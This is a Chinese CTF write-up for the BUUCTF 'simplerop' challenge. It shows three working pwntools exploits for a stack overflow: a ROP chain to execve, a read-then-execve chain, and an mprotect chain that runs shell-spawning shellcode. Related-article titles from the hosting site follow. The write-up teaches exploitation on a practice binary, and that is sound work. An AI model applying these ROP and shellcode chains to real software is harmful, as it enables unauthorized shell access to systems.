Write Up

  • 文件信息
  • 漏洞定位
  • 利用分析
  • wp
  • 总结

文件信息

  该样本是我在做BUUCTF上的题刷到的,该题目本身漏洞明显,利用起来也不算太难,不过在我查阅一下他人的wp后发现了多种解法,在这里做个记录和总结。样本链接:simplerop
  老规矩先来检查一下文件的信息,32位小端程序,且只开启了NX保护。

漏洞定位

程序本身采用的是静态链接,所以用IDA进行分析的时候会发现.text段中的函数特别多,当然这本身也是为了配合题目给出的提示方便我们利用这么多的gadgets构造ROP链。

然后我们在IDA中定位到main函数,可以发现程序十分简单,read函数造成了栈溢出,而且提示到位使用ROP进行漏洞利用。

利用分析

由于漏洞比较明显,没有后门函数可以利用,且并没有暴露出system函数,加上题目的提示,所以这里采用构造ROP链的方式进行攻击。构造ROP链进行攻击时,可以采取泄露出libc地址,ret2libc的方式,这里我并没有使用这种方式,而是使用了其它三种方法,有兴趣的读者可以再试试ret2libc的方法。

wp

第一种方法:
  ROP链实现execve系统调用,这里我们可以借助ROPgadget工具自动生成ropchain,命令行如下:ROPgadget --binary simplerop --ropchain,不过该方法生成的ropchain太长,read函数有限制无法全部读取,所以需要对生成的ropchain链进行改造。具体wp如下:

from pwn import *io = process("./simplerop")
# remote环境可以在BUUCTF上找到
# io = remote("node3.buuoj.cn", 27111)from struct import pack# Padding goes here
p = cyclic(0x14+0x4+0x8)     # 动态调试得到,IDA显示的不对
p += pack(b'<I', 0x0806e82a) # pop edx ; ret
p += pack(b'<I', 0x080ea060) # @ .data
p += pack(b'<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack(b'<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack(b'<I', 0x0806e82a) # pop edx ; ret
p += pack(b'<I', 0x080ea064) # @ .data + 4
p += pack(b'<I', 0x080bae06) # pop eax ; ret
p += b'//sh'
p += pack(b'<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack(b'<I', 0x0806e850) # pop_edx_ecx_ebx
p += p32(0)+p32(0)+p32(0x080ea060)
p += pack(b'<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack(b'<I', 0x080493e1) # int 0x80print(len(p))
io.send(p)
io.interactive()

第二种方法:
  在构造ropchain链实现execve系统调用时,最难的是ebx的参数,因为该参数需要的是“/bin/sh\x00"的地址,且只构造"sh\x00"是不行的(但system(“sh\x00”)是可以的)。所以在构造ropchain链实现execve系统调用时,解决好ebx的参数就能解决大问题。下面的这种方法就是利用了read函数将"/bin/sh\x00"地址读取到固定地址,方便我们给ebx传递参数。

from pwn import *io = process("./simplerop")read = 0x0806CD50
pop_edx_ecx_ebx = 0x0806e850
pop_eax = 0x080bae06
int_0x80 = 0x080493e1
sh = 0x080EC304pad = cyclic(0x14+0xc)
# overwrite ret addr to read --> read(0, sh, 8)
# overwrite read's ret addr to p32(pop_edx_ecx_ebx)
pad += p32(read)+p32(pop_edx_ecx_ebx)
# use p32(pop_edx_ecx_ebx) to clear stack data,
# then edx will be 0, ecx will be sh, ebx will be 8, and then ret
pad += p32(0)+p32(sh)+p32(8)
# use p32(pop_edx_ecx_ebx) to recv stack data,
# then edx will be 0, ecx will be 0, ebx will be sh, and then ret
pad += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(sh)
# eax will be 0xb, then ret to syscall --> getshell
pad += p32(pop_eax)+p32(0xb)+p32(int_0x80)print(len(pad))
io.send(pad)
io.send(b"/bin/sh\x00")
io.interactive()

第三种方法:
  上面介绍到的两种方法都是实现execve系统调用来获取到shell的,那么最简单的实现execve系统调用的方式就是利用shellcode。不过该样本开启了NX保护,所以无法直接使用shellcode,那么就需要利用mprotect函数开辟出一个可写可执行的内存区域。mprotect函数原型如下:int mprotect(const void *start, size_t len, int prot);,第一个是开辟的地址起始位置,需要和内存页对齐,也就是能被0x1000整除;第二参数也需要是内存页的整数倍;第三个是开辟的内存属性,7代表可读可写可执行。

from pwn import *io = process("./simplerop")pro = ELF("./simplerop")
mprotect = pro.symbols["mprotect"]
print(" ===> ", hex(mprotect))
read = pro.symbols["read"]
print(" ===> ", hex(read))context(os="linux", arch="i386")
code = asm(shellcraft.sh())code_addr = 0x80e9000
pop_edx_ecx_ebx = 0x0806e850
pad = cyclic(0x14+0xc)
# overwrite ret addr to mprotect --> mprotect(code_addr, 0x1000, 7)
# overwrite mprotect's ret addr to p32(pop_edx_ecx_ebx)
pad += p32(mprotect)+p32(pop_edx_ecx_ebx)
# use p32(pop_edx_ecx_ebx) to clear stack data,
# then edx will be code_addr, ecx will be 0x1000, ebx will be 7, and then ret
pad += p32(code_addr)+p32(0x1000)+p32(7)
# use read to recv code --> read(0, code_addr, len(code))
# p32(pop_edx_ecx_ebx) in read ret addr, use it to clear stack data, and then ret
pad += p32(read)+p32(pop_edx_ecx_ebx)
pad += p32(0)+p32(code_addr)+p32(len(code))
# ret to code_addr --> getshell
pad += p32(code_addr)print(len(pad))
io.send(pad)
io.send(code)
io.interactive()

总结

这道题本身并不算难,不过从中也能学到很多的知识和利用方法,在实际pwn的过程中,一道题也不是只有一种攻击方法,所以灵活应变,打开思路非常重要。

不忘初心,砥砺前行!

CMCC--simplerop 题解相关推荐

  1. cmcc Simplerop

    题目来源 1. 安全策略 [*] '/root/ctf/buuctf/pwn/simplerop'Arch: i386-32-littleRELRO: Partial RELROStack: No c ...

  2. [JS][dfs]题解 | #迷宫问题#

    题解 | #迷宫问题# 题目链接 迷宫问题 题目描述 定义一个二维数组 N*M ,如 5 × 5 数组下所示: int maze[5][5] = { 0, 1, 0, 0, 0, 0, 1, 1, 1 ...

  3. [JS][dp]题解 | #打家劫舍(一)#

    题解 | #打家劫舍(一)# 题目链接 打家劫舍(一) 题目描述 描述 你是一个经验丰富的小偷,准备偷沿街的一排房间,每个房间都存有一定的现金,为了防止被发现,你不能偷相邻的两家,即,如果偷了第一家, ...

  4. [JS]题解 | #魔法数字#

    题解 | #魔法数字# 题目链接 魔法数字 题目描述 牛妹给牛牛写了一个数字n,然后又给自己写了一个数字m,她希望牛牛能执行最少的操作将他的数字转化成自己的. 操作共有三种,如下: 在当前数字的基础上 ...

  5. [JS]题解 | #岛屿数量#

    题解 | #岛屿数量# 题目链接 岛屿数量 题目描述 时间限制:1秒 空间限制:256M 描述 给一个01矩阵,1代表是陆地,0代表海洋, 如果两个1相邻,那么这两个1属于同一个岛.我们只考虑上下左右 ...

  6. [JS] 题解:提取不重复的整数

    题解:提取不重复的整数 https://www.nowcoder.com/practice/253986e66d114d378ae8de2e6c4577c1 时间限制:1秒 空间限制:32M 描述 输 ...

  7. 洛谷-题解 P2672 【推销员】

    独门思路!链表加优先队列! 这题一望,贪心是跑不掉了,但是我贪心并不好,所以想到了一个复杂一些但思路更保稳的做法 思路: 1 因为是离线操作,所以我们可以倒着求,先求x=n的情况,因为那样直接就知道了 ...

  8. [洛谷1383]高级打字机 题解

    题解 这道题一看就珂以用主席树啊 这是一道神奇的题目,那么我们先敲一个主席树,然后维护一个数组len,表示下一次应该在len + 1插入, 之后对于T操作,在上一个版本的len + 1上直接执行插入 ...

  9. luogu P1549 棋盘问题(2) 题解

    luogu P1549 棋盘问题(2) 题解 题目描述 在\(N * N\)的棋盘上\((1≤N≤10)\),填入\(1,2,-,N^2\)共\(N^2\)个数,使得任意两个相邻的数之和为素数. 例如 ...

  10. 【题解搬运】PAT_L1-009 N个数求和

    从我原来的博客上搬运.原先blog作废. (伪)水题+1,旨在继续摸清这个blog(囧 题目 就是求N个数字的和.麻烦的是,这些数字是以有理数"分子/分母"的形式给出的,你输出的和 ...

最新文章

  1. python cookbook 2字符串 (1)
  2. 各种震撼的慢镜头,奇怪的知识又增加了!​
  3. Pandas数据可视化工具:图表工具-Seaborn
  4. navicat mysql 远程_Navicat for mysql 连接远程数据库
  5. c语言实现函数给主函数中的指针赋值的方法
  6. sql 过滤空值_图解 SQL,这简直太形象了吧!
  7. 初学习C语言的小Tip
  8. 2FSK频谱matlab,2FSK信号的频谱分析及解调的实现.doc
  9. win11快捷键失效怎么处理 Windows快捷键失效的解决方法
  10. 二阶振荡环节的谐振频率_什么是谐振器?谐振器与振荡器有什么区别?
  11. (转)详解Windows Hash
  12. lopatkin俄大神最新精简中文系统Windows 7 Professional VL SP1 7601.24496 x86-x64 ZH-CN DREY
  13. DO Global亮相DMEXCO 2018,发布全新智能DSP
  14. oracle11g安装卡在94,winserver2008R2 安装64位 oracle 11G R2 卡在2%,求解
  15. 什么是cidaemon.exe进程
  16. 如何在 JavaScript 中使用对象解构
  17. html5简介及常用标签
  18. java 跳出递归_java中途强制跳出递归
  19. 【Linux】NDK
  20. Spring Boot+Vue项目打包部署

热门文章

  1. 李宏毅机器学习2016 第二十一讲 隐马尔可夫模型和条件随机场
  2. python创建小火龙角色_提灯与地下城小火龙怎么获得 提灯与地下城小火龙属性技能一览...
  3. 实验五:MSI时序逻辑部件应用(彩灯流水电路的设计)
  4. 各种编码中字母和汉字分别占多少字节
  5. Qt 通讯模块(短信、彩信发送)
  6. MATLAB 进度条
  7. wss和ws协议转换
  8. C语言实现二叉树的节点删除
  9. 前后端交互(小白教学)
  10. Leetcode 15:三数之和(最详细解决方案!!!)